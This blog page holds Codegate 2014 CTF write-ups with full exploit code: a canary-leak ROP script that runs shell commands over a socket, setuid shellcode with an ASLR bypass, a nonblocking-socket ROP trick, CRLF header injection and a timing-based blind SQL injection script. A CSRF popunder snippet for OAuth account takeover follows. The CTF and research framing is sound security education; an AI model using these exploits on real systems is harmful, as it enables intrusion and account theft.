Belated Codegate 2014 Quals Writeups and Lessons Learned

The local challenges can be grabbed from here and various other writeups are online. I was off on the timing for this one, so I only dove into most the challenges on Sunday morning… right before codegate ended and after it ended. I did pretty terrible rank-wise, but I thought the challenges were fun anyway and solved some after the codegate was over.

I learn new things almost every CTF, even if it’s sometimes just things that make sense intuitively but I’ve just never thought about before or forgotten. Here are some lessons learned from codegate.

  • stack canaries on linux stay constant and you can get them with an info leak. On windows there is more entropy and this wouldn’t have been as straightforward (see Pwn 250)
  • ulimit -s pretty much defeats ASLR if you’re local. Also, there are areas you can overwrite in this space, like in the syscall mappings, to control the instruction pointer (See Pwn 350 and Pwn 400)
  • To control the number of bytes output locally, you can use non-blocking sockets (see Pwn 400)
  • gdb really can’t find gs: segments very well, but there are usually workarounds (see Pwn 350)
  • You can’t call openprocess with all access on a process being debugged (i.e. you can’t open two debuggers on the same process, even if it’s been forked) but you can openprocess with PROCESS_VM_READ. (reversing 250 – although I ended up going a different route)
  • I wrote a Pykd script that can be called on a windbg breakpoint and continue based on python stuff e.g. you could do a conditional break on a regex which seems tough in windbg without writing a script. (see reversing 250)
  • SQLmap has a cool testbed where you can test your sql syntax, available at https://github.com/sqlmapproject/testenv (used to test web 500)

Reversing 200 dodoCrackme

Running strace

$ strace ./crackme_d079a0af0b01789c01d5755c885da4f6 
execve("./crackme_d079a0af0b01789c01d5755c885da4f6", ["./crackme_d079a0af0b01789c01d575"...], [/* 37 vars */]) = 0
mmap(NULL, 30000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff6000
write(1, "r", 1r)                        = 1
write(1, "o", 1o)                        = 1
write(1, "o", 1o)                        = 1
write(1, "t", 1t)                        = 1
write(1, "@", 1@)                        = 1
write(1, "l", 1l)                        = 1
write(1, "o", 1o)                        = 1
write(1, "c", 1c)                        = 1
write(1, "a", 1a)                        = 1
write(1, "l", 1l)                        = 1
write(1, "h", 1h)                        = 1
write(1, "o", 1o)                        = 1
write(1, "s", 1s)                        = 1
write(1, "t", 1t)                        = 1
write(1, "'", 1')                        = 1
write(1, "s", 1s)                        = 1
write(1, " ", 1 )                        = 1
write(1, "p", 1p)                        = 1
write(1, "a", 1a)                        = 1
write(1, "s", 1s)                        = 1
write(1, "s", 1s)                        = 1
write(1, "w", 1w)                        = 1
write(1, "o", 1o)                        = 1
write(1, "r", 1r)                        = 1
write(1, "d", 1d)                        = 1
write(1, ":", 1:)                        = 1
...

it looks like they’re doing syscalls for every character written and read

Most of the binary is garbage, but you can see clusters of syscalls where the output and input happen. Looking in IDA, there are four clusters of syscalls. One outputs the fail, one outputs “Enter root password”, one is a huge loop that inputs the password, and one outputs winner.

With gdb, I recorded executions and executed backworkds until I was in the giant input loop. At that point I started searching for the password was as an offset to rbp, since this is how it outputs strings as syscalls. Sure enough, I found it pretty quickly.


import gdb
import binascii
import sys


def read_weird_string(start_addr, spacing=8, block=100):
    a = gdb.selected_inferior().read_memory(start_addr, block * spacing)
    #for i in range(0,block):
    #   print
    #print help(a)
    for i in a:
        if i == "\x00":
            continue
        sys.stdout.write(i)
    print
    print binascii.hexlify(a)


read_weird_string(0x7ffff7ff9b50) #this is $rbp - around 50
gdb-peda$ source decode_string.py 
H4PPY_C0DEGaTE_2014_CU_1N_K0RE4

Reversing 250 Clone Technique

This one has on the description: “Limited processes will be generated. Which one has the flag?”

We can see in the main function that it will call createProcessW in a loop that lasts 0x190 iterations, so that’s our number of processes.

12c

Each process is called with three args, #randomlookingnumber# #randomlookingnumber# #counter#, where counter is 0,1,2,…

One thing I tried to do throughout this was put a breakpoint on memory access. For example,

ba w4 00409754

The value would change, but the breakpoint is never hit. Crazy! After some investigation with Joe, we eventually figured out this is because ba works by putting a break in one of four registers per processes. In our case, the memory is written to using a call to WriteProcessMemory, and the kernel is writing the memory, so our breakpoint is never hit.

Investigating this led to the cinit function, which is called before main and contains the calls to writeprocessmemory. It starts with code that grabs the command line args if they exist (and if not sets them to the first value. It then pushes them along with this interesting data string to a function, messes with a string it returns, and then 0s out that string. Even without looking at what the decode_func is doing, it looks like a likely place for a key!

decode_func

My strategy was then to attach windbg to every one of these forked processes by turning childdbg on, changing the filters to control when it breaks, and set a breakpoint right before the rep stosd. I then wrote a python script to see if this is a candidate for the key.

>type windbg.txt
.childdbg 1
.load pykd.pyd
sxr
sxe -c "bp 00401201 \"!py iskey.py\";g"  ibp
sxi epr

>type iskey.py
#!/usr/bin/python

import pykd
import struct
import binascii

def is_possible_key(mstr):
  try:
    mstr = mstr[:mstr.index(0)]
  except ValueError:
    return False
  print mstr
  for i in mstr:
    if not (i >= 0x20 and i <= 0x7e):
      return False
  if len(mstr) > 5:
    print "".join([chr(i) for i in mstr])
    return True
  return False

edi = pykd.reg("edi")
a = pykd.loadBytes(edi,30)
if is_possible_key(a):
  print "KEYKEYKEYKEYKEYKEY"
else:
  pykd.dbgCommand("g")

>windbg -c "$$><windbg.txt" clone_technique.exe

This finds our key ‘And Now His Watch is Ended’

Forensics 150

Ok, so our file is a pcap-ng apparently based on the magic bytes, but it doesn’t open with wireshark

0-weirdcap

First I ran foremost on the file, which detected a pdf and a bmp. I then ran a few tools found here http://www.forensicswiki.org/wiki/PDF on the pdf but no luck. Looking at it, it’s

for150_1

Ok, so we might have to fix the pcap-ng file to view this correctly. I don’t know much about the format, but I opened it in a hex editor and searched for DWORD hex(4270407998), which is \x3e \x41 \x89 \xfe. I replaced this with DWORD 96 and got a similar error. Then I kind of brute forced – set it to 0x30 and got a different error. 0x40 gave a too big error. It took about 10 tries of manual binary searching, and then I got a format I could open in wireshark and follow the tcp stream.

for150_2

Then just save the pdf part to a file and we get the key

for150_3

Pwn 250 Angy Doraemon

This was a fun, relatively straightforward challenge. It’s a remote exploit. The bug is in the mouse function. When it reads the answer to “are you sure?” it reads 0x6E bytes into a buffer only a few bytes big.

doremon

The hard part is you have to bypass a non-executable stack and a stack canary. This is possible via an info leak. Because we can write over the end of our string, we can see other values on the stack, such as the canary and the fd. One interesting thing I learned is how on Linux the stack canary seems to be constant per process (on windows, as Matt Miller said, Windows cookies are basically an XOR’d combination of the current system time, process identifier, thread identifier, tick count, and performance counter.)

So you leak the canary, then you have to rop a payload. execl is in the .got, and I used some fancy redirecting to send the output right back through the socket. You need the file descriptor, but it’s on the stack and you need it anyway I think to do a read from the socket.

#!/usr/bin/python

import argparse
import struct
import socket
import binascii
import time

class exploit:
  def __init__(self, args):
    self.command = args.command

    if args.fd == None:
      self.get_fd()
    else:
      self.fd = args.fd

    if args.canary == None:
      self.get_canary()
    else:
      self.canary = binascii.unhexlify(args.canary)

    self.pwn()
    
  def get_canary(self):
    self.canary = ""
    padding = "yAAAAAAAAA"
    #doing one byte at a time simplifies cases where there are null bytes
    for i in range(0,4):
      sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      sock.connect((args.host, args.port))
      data = self.recv_until(">", sock)
      sock.sendall("4")

      self.recv_until("(y/n) ", sock)
      sock.sendall(padding)
      data = self.recv_until("\"MOUSE!!!!!!!!! (HP - 25)\"", sock)
      if len(data) == 58 + i:
        self.canary += "\x00"
      else:
        self.canary += data[22+i]
      padding += "A"
      sock.close()
    print "canary: ", binascii.hexlify(self.canary)

  def get_fd(self):
    self.canary = ""
    padding = "yAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((args.host, args.port))
    data = self.recv_until(">", sock)
    sock.sendall("4")

    self.recv_until("(y/n) ", sock)
    sock.sendall(padding)
    data = self.recv_until("\"MOUSE!!!!!!!!! (HP - 25)\"", sock)
    sock.close()
    self.fd = ord(data[42])
    print "fd: ", self.fd

  def pwn(self):

    rop = struct.pack("<I", 0x08048620)       # read plt
    rop += struct.pack("<I", 0x8048b2c)       # pop 3 ret
    rop += struct.pack("<I", self.fd)         # fd
    rop += struct.pack("<I", 0x804b508)       # buf 
    rop += struct.pack("<I", 0x256)           # nbytes
    rop += struct.pack("<I", 0x08048710)      # execl
    rop += struct.pack("<I", 0x41424142)      # ret
    rop += struct.pack("<I", 0x0804970D)      # /bin/sh
    rop += struct.pack("<I", 0x0804970D)      # /bin/sh
    rop += struct.pack("<I", 0x804b508)       # buf "-c"
    rop += struct.pack("<I", 0x804b508 + 3)   # buf "command"
    rop += struct.pack("<I", 0x0000000)       # null

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((args.host, args.port))
    data = self.recv_until(">", sock)
    sock.sendall("4")
    self.recv_until("(y/n) ", sock)

    padding = "yAAAAAAAAA"
    padding += self.canary
    padding += "B" * 12
    sock.sendall(padding + rop)

    self.command += " 0<&{0} 1>&{0}".format(self.fd) #redirect output to our socket
    sock.sendall("-c\x00{0}\x00".format(self.command))

    data = sock.recv(1024)   
    print data
    sock.close() 

  def recv_until(self, string, sock):
    data = ""
    while True:
      tmp = sock.recv(1)
      if tmp == "":
        break
      data += tmp
      if data.endswith(string):
        break
    return data


parser = argparse.ArgumentParser()
parser.add_argument("--host", default="192.168.137.150")
parser.add_argument("--port", default=8888)
parser.add_argument("--canary", default=None)
parser.add_argument("--command", default="whoami")
parser.add_argument("--fd", default=None, type=int)
args = parser.parse_args()

m = exploit(args)

Pwn 350 4stone

This is a binary that plays a game locally, sort of like connect 4. All the interesting things happen if you win the game with 0 time (which you can do with a constant strategy – this took me longer than it should have). If you do win, it grabs some input from stdin.

4stone_numseconds

As you can see from the following snippet, you get an “arbitrary” write (marked in red). There is a catch though. You can write anywhere, as long as it doesn’t start with 0x804, or 0x0b.

4stone_write

The stack is executable, so if we could overwrite anything, then we’d be sitting good. Unfortunately, most everything by default starts at 0x804 or 0x0b.

gdb-peda$ vmmap 
Start      End        Perm	Name
0x08048000 0x0804a000 r-xp	/home/mopey/games/4stone/4stone
0x0804a000 0x0804b000 r-xp	/home/mopey/games/4stone/4stone
0x0804b000 0x0804c000 rwxp	/home/mopey/games/4stone/4stone
0x0804c000 0x0806d000 rwxp	[heap]
0xb7dc2000 0xb7dc3000 rwxp	mapped
0xb7dc3000 0xb7dc6000 r-xp	/lib/i386-linux-gnu/libdl-2.17.so
0xb7dc6000 0xb7dc7000 r-xp	/lib/i386-linux-gnu/libdl-2.17.so
0xb7dc7000 0xb7dc8000 rwxp	/lib/i386-linux-gnu/libdl-2.17.so
0xb7dc8000 0xb7f76000 r-xp	/lib/i386-linux-gnu/libc-2.17.so
0xb7f76000 0xb7f78000 r-xp	/lib/i386-linux-gnu/libc-2.17.so
0xb7f78000 0xb7f79000 rwxp	/lib/i386-linux-gnu/libc-2.17.so
0xb7f79000 0xb7f7d000 rwxp	mapped
0xb7f7d000 0xb7f9b000 r-xp	/lib/i386-linux-gnu/libtinfo.so.5.9
0xb7f9b000 0xb7f9c000 ---p	/lib/i386-linux-gnu/libtinfo.so.5.9
0xb7f9c000 0xb7f9e000 r-xp	/lib/i386-linux-gnu/libtinfo.so.5.9
0xb7f9e000 0xb7f9f000 rwxp	/lib/i386-linux-gnu/libtinfo.so.5.9
0xb7f9f000 0xb7fc2000 r-xp	/lib/i386-linux-gnu/libncurses.so.5.9
0xb7fc2000 0xb7fc3000 r-xp	/lib/i386-linux-gnu/libncurses.so.5.9
0xb7fc3000 0xb7fc4000 rwxp	/lib/i386-linux-gnu/libncurses.so.5.9
0xb7fdb000 0xb7fdd000 rwxp	mapped
0xb7fdd000 0xb7fde000 r-xp	[vdso]
0xb7fde000 0xb7ffe000 r-xp	/lib/i386-linux-gnu/ld-2.17.so
0xb7ffe000 0xb7fff000 r-xp	/lib/i386-linux-gnu/ld-2.17.so
0xb7fff000 0xb8000000 rwxp	/lib/i386-linux-gnu/ld-2.17.so
0xbffdf000 0xc0000000 rwxp	[stack]

hmmm, we can write to the heap, but that’s tough. What can we do locally? My initial thought was to make the stack big enough so it wasn’t in the 0x0b range, then potentially overwrite a return pointer. There’s aslr on, but we might be able to brute force it. So I started filling up the stack with an execve call, but hit a limit. Ok, we can set this with ulimit. I tried this, and set it to unlimited, and something interesting happened. The mapping then looks something like this:

gdb-peda$ vmmap 
Start      End        Perm	Name
0x08048000 0x0804a000 r-xp	/home/mopey/games/4stone/4stone
0x0804a000 0x0804b000 r-xp	/home/mopey/games/4stone/4stone
0x0804b000 0x0804c000 rwxp	/home/mopey/games/4stone/4stone
0x0804c000 0x0806d000 rwxp	[heap]
0x40000000 0x40020000 r-xp	/lib/i386-linux-gnu/ld-2.17.so
0x40020000 0x40021000 r-xp	/lib/i386-linux-gnu/ld-2.17.so
0x40021000 0x40022000 rwxp	/lib/i386-linux-gnu/ld-2.17.so
0x40022000 0x40023000 r-xp	[vdso]
0x40023000 0x40025000 rwxp	mapped
0x4003c000 0x4005f000 r-xp	/lib/i386-linux-gnu/libncurses.so.5.9
0x4005f000 0x40060000 r-xp	/lib/i386-linux-gnu/libncurses.so.5.9
0x40060000 0x40061000 rwxp	/lib/i386-linux-gnu/libncurses.so.5.9
0x40061000 0x4007f000 r-xp	/lib/i386-linux-gnu/libtinfo.so.5.9
0x4007f000 0x40080000 ---p	/lib/i386-linux-gnu/libtinfo.so.5.9
0x40080000 0x40082000 r-xp	/lib/i386-linux-gnu/libtinfo.so.5.9
0x40082000 0x40083000 rwxp	/lib/i386-linux-gnu/libtinfo.so.5.9
0x40083000 0x40084000 rwxp	mapped
0x40084000 0x40232000 r-xp	/lib/i386-linux-gnu/libc-2.17.so
0x40232000 0x40234000 r-xp	/lib/i386-linux-gnu/libc-2.17.so
0x40234000 0x40235000 rwxp	/lib/i386-linux-gnu/libc-2.17.so
0x40235000 0x40238000 rwxp	mapped
0x40238000 0x4023b000 r-xp	/lib/i386-linux-gnu/libdl-2.17.so
0x4023b000 0x4023c000 r-xp	/lib/i386-linux-gnu/libdl-2.17.so
0x4023c000 0x4023d000 rwxp	/lib/i386-linux-gnu/libdl-2.17.so
0x4023d000 0x4023e000 rwxp	mapped
0xbffdf000 0xc0000000 rwxp	[stack]

And a lot of these addresses, like libc, don’t change, even with ASLR! (apparently this is well known, but this is the first I’ve seen it). So where can we write in one of methods? The only function call after our arbitrary write is to exit, which makes a system call. Maybe we can overwrite that?

Tracing this, in the exit .got we have

0x40084000 0x40232000 r-xp	/lib/i386-linux-gnu/libc-2.17.so

   0x4013eb04 <_exit>:	mov    ebx,DWORD PTR [esp+0x4]
   0x4013eb08 <_exit+4>:	mov    eax,0xfc
=> 0x4013eb0d <_exit+9>:	call   DWORD PTR gs:0x10

It turns out gdb sucks at finding the actual address of gs:0x10 sections, so I stepped into it, or you can also find it like this http://stackoverflow.com/questions/10354063/how-to-use-a-logical-address-in-gdb by setting “catch syscall set_thread_area” and looking at the location. Doing this, we see 0x40022414 is mapped to <__kernel_vsyscall>

Because this is bound loosely we can look for references to this in the mapped region.

gdb-peda$ peda searchmem 0x40022414 mapped (searching for the syscall)
Found 1 results, display max 1 items:
mapped : 0x4023d6d0 --> 0x40022414 (<__kernel_vsyscall>:	push   ecx)

It looks like we could overwrite this and it would point somewhere else. Does it work?

gdb-peda$ set {int}0x4023d6d0=0x0c0c0c0c
gdb-peda$ continue 
Continuing.
...
Stopped reason: SIGSEGV
0x0c0c0c0c in ?? ()

Cool. So using this, we can put our shellcode in an environment variable, put a ton of nops there, and point to it. This was the final exploit

#!/usr/bin/python

import os
import argparse
import struct
import sys
from ctypes import *

class exploit:
  def __init__(self, args):
    self.vulnpath = args.path

    #stdin (wins the game and specifies what to write)
    f = open(args.inputfile, "w")
    f.write("\nhhh\nhh\nhh\nhhh\nh\nl\nhhhh\nl\nll\nh\n\n\n")
    #f.write("c0c0c0c0")  #what to write 
    f.write("bfab0b00")  #what to write 

    f.close()

    f = os.open(args.inputfile, int('444', 8))
    print f
    print sys.stdin
    os.dup2(f, 0)

    #arg1 (sepcifies where to write)   
    self.argv = "4023d6d0" 

    #environment (shellcode) /bin/sh setuid 1003
    dashsc = (
"\xdb\xc8\xd9\x74\x24\xf4\xbf\xa2\x35\xcc\x83\x5b\x31\xc9" +
"\xb1\x0b\x83\xeb\xfc\x31\x7b\x14\x03\x7b\xb6\xd7\x39\xb2" +
"\x76\xa7\x84\x0e\x9d\xcb\x08\x71\xd8\x27\x0b\x71\x1a\x75" +
"\x8c\x40\xda\xd5\xe5\x8d\xf5\xa6\x9d\xb9\x26\x2b\x37\x54" +
"\xb1\x48\x97\xfb\x48\x6f\x29\x2e\xfa\x7b\x87\x4e"
    )

    self.env = { "TERM": "xterm" }
    for i in range(0,100):
      self.env[str(i)] = "\x90" * 100000 + dashsc

  def pwn(self):
    os.execve( self.vulnpath, [self.vulnpath, self.argv], self.env)
    
parser = argparse.ArgumentParser()
parser.add_argument("--inputfile", default="input.txt")
parser.add_argument("--path")

args = parser.parse_args()
m = exploit(args)
m.pwn()

Pwn 400 minibomb

The overflow on this is straightforward, but the executable is tiny, and there’s not a lot of rop you can do. Using the ulimit -s unlimited trick, you only have a handful of gadgets.

gdb-peda$ x/4i 0x40000424
   0x40000424 <__kernel_vsyscall+16>:	pop    ebp
   0x40000425 <__kernel_vsyscall+17>:	pop    edx
   0x40000426 <__kernel_vsyscall+18>:	pop    ecx
   0x40000427 <__kernel_vsyscall+19>:	ret   
gdb-peda$ x/2i 0x080480F3
   0x80480f3:	mov    ebx,0x0
   0x80480f8:	int    0x80

We can control edx and ecx with the gadget at 0x40000425, and another interesting thing is we may be able to control ebx indirectly if we can write to unk_8049150

.text:080480B4 lea     ebx, unk_8049150 ; start
.text:080480BA int     80h             ; 

We have almost all we need for a system call, except we don’t have eax anywhere. After some research, one thing that’s promising is both “read” and “write” will return eax to the value of bytes read or written. My first thought was if I could set ecx or edx with the gadget at 0x40000425 then I might be able to use one of the existing reads or writes to control eax. This is close to working, like if they would mov eax, 4 (syswrite) immmediately before the int 80, it would have worked. But unfortunately there’s no flow like that. They all move eax, 4 at the beginning, then set all the args afterward.

I was stuck here, but luckily the good thing about trying this one late is there are solutions posted. This is an excellent writeup, and I used it to cheat: http://mslc.ctf.su/wp/codegate-2014-quals-minibomb-pwn-400/. They set a nonblocking socket to control how much could be written. Cool! I never would’ve though of that.

Using More Smoked Leet Chicken’s technique

#!/usr/bin/python
#listener.py

import socket
import time

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("127.0.0.1", 30123))
s.listen(1)

while True:
  conn, ts = s.accept()
  conn.sendall("/tmp/blah\x00 ")
  time.sleep(1)
  print "got connection"
  conn.close()
#!/usr/bin/python
#exploit.py

import argparse
import struct
import socket
import time
from subprocess import *

class exploit:
  def __init__(self, args):

    self.vulnpath = args.path

    padding = "A" * 16

    rop = struct.pack("<I", 0x40000425)  #pop edx, pop ecx, ret
    rop += struct.pack("<I", 11)         #edx (length)
    rop += struct.pack("<I", 0x08049150) #ecx (buffer)
    #eax is 3 due to pipe
    rop += struct.pack("<I", 0x08048143) #read syscall.. 0804812C to read from stdin?

    #eax is 11 due to read 11
    rop += "AAAAAAAAAAAAAAAA"
    rop += struct.pack("<I", 0x40000425)  #pop edx, pop ecx, ret
    rop += struct.pack("<I", 0)  
    rop += struct.pack("<I", 0)  
    rop += struct.pack("<I", 0x080480B4)

    self.payload = padding + rop

  def pwn(self):
    out_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    out_sock.connect(("127.0.0.1", 30123))
    out_sock.setblocking(0)

    #find the right value
    out_sock.sendall("A" * eval(args.sendsize))

    p = Popen(self.vulnpath, shell=True, stdin=PIPE, stdout=out_sock)

    p.stdin.write(self.payload)


parser = argparse.ArgumentParser()
parser.add_argument('--path', default="./minibomb")
parser.add_argument('--sendsize', default=0)

args = parser.parse_args()
m = exploit(args)
m.pwn()
$ ulimit -s
unlimited 
$ cat /tmp/blah 
#!/bin/bash -p

/usr/bin/id > /tmp/output
$ python exploit.py --sendsize='4096 * 332 + 1024 + 256 + 64 + 32 +19' --path="./minibomb"
$ cat /tmp/output 
uid=1000(test) gid=1000(test) groups=1000(test)

Web 200

I banged my head against this one for a while. In the comments was
I tried things like looking for .htaccess, etc, but no luck.

This looked promising

this looks promising
http://58.229.183.25/188f6594f694a3ca082f7530b5efc58dedf81b8d/index.php?url=localhost%2F188f6594f694a3ca082f7530b5efc58dedf81b8d%2Fadmin

But you only get the first two lines back and the content length. But it turns out there’s a header injection!

GET /188f6594f694a3ca082f7530b5efc58dedf81b8d/index.php?url=localhost%2F188f6594f694a3ca082f7530b5efc58dedf81b8d%2Fadmin/+HTTP/1.0%0d%0aHost:+localhost%0d%0aRange:+bytes%3d372-430%0d%0a%0d%0a HTTP/1.1
Host: 58.229.183.25
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

This responds with

<!--if($_SERVER[HTTP_HOST]=="hackme")--></body>

Cool. Requesting it directly, even with the header, still gives a forbidden. But we can reuse the header injection enough and we can play around with the bytes.

GET /188f6594f694a3ca082f7530b5efc58dedf81b8d/index.php?url=localhost%2F188f6594f694a3ca082f7530b5efc58dedf81b8d%2Fadmin/+HTTP/1.0%0d%0aHost:+hackme%0d%0aRange:+bytes%3d76-127%0d%0a%0d%0a HTTP/1.1
Host: 58.229.183.25
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

In the response is: Password is WH0_IS_SnUS_bI1G_F4N

Web 500

They give us this source.

<?php
session_start();

$link = @mysql_connect('localhost', '', '');
@mysql_select_db('', $link);

function RandomString()
{
  $filename = "smash.txt";
  $f = fopen($filename, "r");
  $len = filesize($filename);
  $contents = fread($f, $len);
  $randstring = '';
  while( strlen($randstring)<30 ){
    $t = $contents[rand(0, $len-1)];
    if(ctype_lower($t)){
    $randstring .= $t;
    }
  }
  return $randstring;
}

$max_times = 120;

if ($_SESSION['cnt'] > $max_times){
  unset($_SESSION['cnt']);
}

if ( !isset($_SESSION['cnt'])){
  $_SESSION['cnt']=0;
  $_SESSION['password']=RandomString();

  $query = "delete from rms_120_pw where ip='$_SERVER[REMOTE_ADDR]'";
  @mysql_query($query);

  $query = "insert into rms_120_pw values('$_SERVER[REMOTE_ADDR]', '$_SESSION[password]')";
  @mysql_query($query);
}
$left_count = $max_times-$_SESSION['cnt'];
$_SESSION['cnt']++;

if ( $_POST['password'] ){
  
  if (eregi("replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*",$_POST['password'])){
    @mysql_close($link);
    exit("Wrong access");
  }

  $query = "select * from rms_120_pw where (ip='$_SERVER[REMOTE_ADDR]') and (password='$_POST[password]')";
  $q = @mysql_query($query);
  $res = @mysql_fetch_array($q);
  if($res['ip']==$_SERVER['REMOTE_ADDR']){
    @mysql_close($link);
    exit("True");
  }
  else{
    @mysql_close($link);
    exit("False");
  }
}

@mysql_close($link);
?>

<head>
<link rel="stylesheet" type="text/css" href="black.css">
</head>

<form method=post action=index.php>
  <h1> <?= $left_count ?> times left </h1>
  <div class="inset">
  <p>
    <label for="password">PASSWORD</label>
    <input type="password" name="password" id="password" >
  </p>
  </div>
  <p class="p-container">
    <span onclick=location.href="auth.php"> Auth </span>
    <input type="submit" value="Check">
  </p>
</form>

The sqli is relatively straightforward. You can have a True/false query like this.

password='or(1=2)and'1
password='or(1=1)and'1

But we have only 120 guesses*, and the password is quite long at 30 chars. This returns true

password='or(CHAR_LENGTH(password)=30)and'1

so that means we have only an average of four queries per letter, or 120 guesses for the whole 30 character password. They are lower case at least, so that can reduce our queries by quite a bit, but if we query all the bits, that’s 5 per letter and is too many with a true/false query (which would need 5 per letter). And if you do a straight binary search of the 30 char password, that’s on the order of a few hundred per session*

But, we really have more than true/false – we have an arbitrary number of states. true, false, and timing. We can sleep different amounts of times, etc. For example, we’re only lacking one bit, so we could ask, is the next bit 1 (return true), 0 (return false), or are all the bits 1 (sleep 10 seconds).
The query ended up pretty complicated, and I had to add some code that checked sanity to make sure letters were being decoded correctly.*

#!/usr/bin/python

import urllib
import httplib
import time
import argparse
import sys

class web500:
    def __init__(self, host="58.229.183.24", port=80, session="", check_iter=-1, debug=False):
        self.conn = httplib.HTTPConnection(host, port)
        self.conn.connect()
        if session == "":
            self.session = self.get_session()
            print "Creating SESSION=" + self.session
        else:
            self.session = session
        
        self.check_iter = check_iter
        self.debug = debug
        self.upperlimit = 120
        self.passwd = ""
        self.pwn()
        
    def pwn(self):
        for letter in range(0,30):
            dstr = ""
            if self.check_iter != -1:
                letter = int(self.check_iter)
            for bit in range(8,3,-1):
                self.upperlimit -=1
                if self.upperlimit < 0:
                    print "ERROR: Went over limit :("
               
                this_char = "LPAD(BIN(ORD(SUBSTR(password,{0},1))),8,'0')".format(letter+1)
                this_bit  = "SUBSTR({0},{1},1)".format(this_char, bit)
                
                if (bit != 4 and not self.debug):
                    #if on binary(password[i])[3:4] == 10: sleep 24
                    #if on binary(password[i])[3:4] == 01: sleep 16
                    #if all more significant bits are 1: sleep 8
                    #if all more significant bits are 0: sleep 4
                    #else: return true if 1, else 0
                    truth = "if(left(SUBSTR({0},4,9),{1})!='10',if(left(SUBSTR({0},4,9),{1})!='01',  if(left(SUBSTR({0},4,9),{1})!='{4}',  if(left(SUBSTR({0},4,9),{1})!='{2}', if({3}=0x31,1,0),sleep(4)),sleep(8)),sleep(16)),sleep(24))".format(this_char, bit-3, "0"*(bit-3), this_bit, "1"*(bit-3))
                else:
                    truth = "if({0}=0x31,1,0)".format(this_bit)
                    
                sql = "'or(" + truth + ")and'1"
                param= "password=" + urllib.quote(sql)
                
                self.conn.putrequest("POST", "/5a520b6b783866fd93f9dcdaf753af08/index.php")
                self.conn.putheader("Content-length", str(len(param)))
                self.conn.putheader("Cookie", "PHPSESSID=" + self.session)
                self.conn.putheader("Content-Type", "application/x-www-form-urlencoded")
                self.conn.endheaders()
                t = time.clock()
                
                self.conn.send(param)                
                resp = self.conn.getresponse()
                data = resp.read()
                t = time.clock() - t
                if t>=24:
                    dstr = "10" + dstr
                    break
                elif t>=16:
                    dstr = "01" + dstr
                    break
                elif t >= 8:
                    dstr = dstr.rjust(5,"1")
                    break
                elif t >= 4:
                    dstr = dstr.zfill(5)
                    break
                elif "True" in data:
                    dstr = "1" + dstr
                else:
                    dstr = "0" + dstr
            print "Index:", letter, "Value", dstr, "Iter:", self.upperlimit
            self.passwd += self.bin_tochar(dstr)
            if self.check_iter != -1:
                break
        print "PASSWORD: ", self.passwd
        
    def bin_tochar(self, c):
        return chr(int("011" + c, 2))
     
    def get_session(self):
        self.conn.putrequest("GET", "/5a520b6b783866fd93f9dcdaf753af08/index.php")
        self.conn.endheaders()
        resp = self.conn.getresponse()
        data = resp.read()
        return resp.getheader("Set-Cookie").split("=")[1].split(";")[0]
        
         
parser = argparse.ArgumentParser()
parser.add_argument("--session", default="")
parser.add_argument("--checkIter", default=-1)
parser.add_argument("--debug", action="store_true")
args = parser.parse_args()
                           
a = web500(session=args.session, check_iter=args.checkIter, debug=args.debug)

web500

Logging in with this password gives us the key:

Congrats! the key is DontHeartMeBaby*$#@!

*If I noticed it, I should’ve done it like other people and noticed I could have just supplied a different sessionID. This looks way easier http://tunz.tistory.com/109

The Deputies are Still Confused (Full talk and content from Blackhat EU)

I’m finally posting the whole talk and all it’s content. I’ve been posting bits and stuff since March.

Here are the slides. There’s embedded media, so download for best results

Here are all the relavent/related blog posts, with code, etc. Roughly in the order of the talk:

.NET MVC AntiforgeryToken CSRF Testing
Common .NET ViewstateUserKey CSRF Issue
Stripping the Referer in a Cross Domain POST request
Common OAuth issue you can use to take over accounts
Cookie Tossing in the Middle
CSRF tips for dealing with x-frame-options

CSRF tips for dealing with x-frame-options

X-Frame-Options is becoming more and more common. With OAuth, protecting against UI redressing is even in the spec, so just creating a frame to do all your sneaky stuff won’t really work. With some of the OAuth attacks from the last few posts, the identity providers did all in fact enable x-frame-options.

How do we CSRF things that have X-Frame-Options enabled so we can’t use frames? We can always open a window, but a big popup isn’t really ideal. There are probably a lot of techniques here, but there are two options I explored, using a popunder, and just making the window jump around/hard to close.

The 2013BH tag links to all posts related to my recent Blackhat EU talk I gave in March. This is probably the last one (yeah, finally – I’m sick of talking about CSRF too) then I’ll hopefully post the whole talk finally :)

Hiding the CSRF with a popunder

In the OAuth examples I just popped up a window. It would be better if when we popped up the window, we hid it. Back in the day, you could just do something like this and it would hide the window.

function pwn() {
  win1 = fb_login();
  win1.blur();
  setTimeout("win1.close()", 5000);
  setTimeout("soundcloud_addlogin()", 5000);
}

In most browsers this doesn’t work anymore. Firefox and Chrome explicitly deny this (it was a bug here Blur results in window being lowered and some other window being raised (popunders are possible)).

However, it is still basically possible. Shady websites do this all the time, so you can just look at their code, or you can grab scripts from github https://gist.github.com/hpbuniat/1021924 :) Basically, the generic technique seems to be:

  1. On a click event
  2. On form submit
  3. open window
  4. the new window opens another window, then closes it
  5. focuses the opener window

Using this technique, we can exploit the OAuth CSRF much more ninjaly. The original soundcloud oauth (talked about here) looked something like this with a big ugly popup: http://www.youtube.com/watch?v=CmG01xprrlU

But with adding a popunder, well, it isn’t that exciting. But it’s relatively sneaky, and we’ve successfully CSRFed the page and taken over their soundcloud account. Below is a video of how the sneaky one looks.

In-your-face CSRF

